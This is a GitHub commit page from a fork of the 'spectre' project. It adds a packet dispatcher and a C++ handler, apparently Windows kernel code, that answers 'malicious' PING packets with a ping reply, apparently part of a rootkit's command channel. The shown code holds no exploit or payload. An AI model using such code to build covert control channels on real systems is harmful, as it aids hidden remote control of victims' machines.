forked from D4stiny/spectre
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Dispatcher and Handler added, works with partial recv's.
- Loading branch information
Showing
9 changed files
with
177 additions
and
52 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
/* | ||
* This file is subject to the terms and conditions defined in | ||
* file 'LICENSE', which is part of this source code package. | ||
* | ||
* COPYRIGHT Bill Demirkapi 2020 | ||
*/ | ||
#include "PingPacketHandler.h" | ||
|
||
/** | ||
Process a PING packet. | ||
@param FullPacket - Pointer to the full malicious packet. | ||
@return Whether or not processing was successful. | ||
*/ | ||
NTSTATUS | ||
PingPacketHandler::ProcessPacket ( | ||
_In_ PBASE_PACKET FullPacket | ||
) | ||
{ | ||
MAGIC_BASE_PACKET responsePacket; | ||
|
||
// | ||
// For pings, we don't need to touch the packet. | ||
// | ||
UNREFERENCED_PARAMETER(FullPacket); | ||
|
||
DBGPRINT("PingPacketHandler!ProcessPacket: Received PING packet!"); | ||
|
||
// | ||
// For pings, just respond with another ping packet. | ||
// | ||
responsePacket.Magic = PACKET_MAGIC; | ||
responsePacket.Base.Type = Ping; | ||
responsePacket.Base.PacketLength = sizeof(responsePacket); | ||
|
||
// | ||
// Send the response. | ||
// | ||
this->PacketDispatch->SendBuffer(&responsePacket, sizeof(responsePacket)); | ||
|
||
return STATUS_SUCCESS; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
/* | ||
* This file is subject to the terms and conditions defined in | ||
* file 'LICENSE', which is part of this source code package. | ||
* | ||
* COPYRIGHT Bill Demirkapi 2020 | ||
*/ | ||
#pragma once | ||
#include "common.h" | ||
#include "PacketHandler.h" | ||
|
||
typedef class PingPacketHandler : public PacketHandler | ||
{ | ||
public: | ||
using PacketHandler::PacketHandler; | ||
NTSTATUS ProcessPacket ( | ||
_In_ PBASE_PACKET FullPacket | ||
); | ||
} PING_PACKET_HANDLER, *PPING_PACKET_HANDLER; | ||
|
||
#define PING_PACKET_HANDLER_TAG 'hPpS' |
Oops, something went wrong.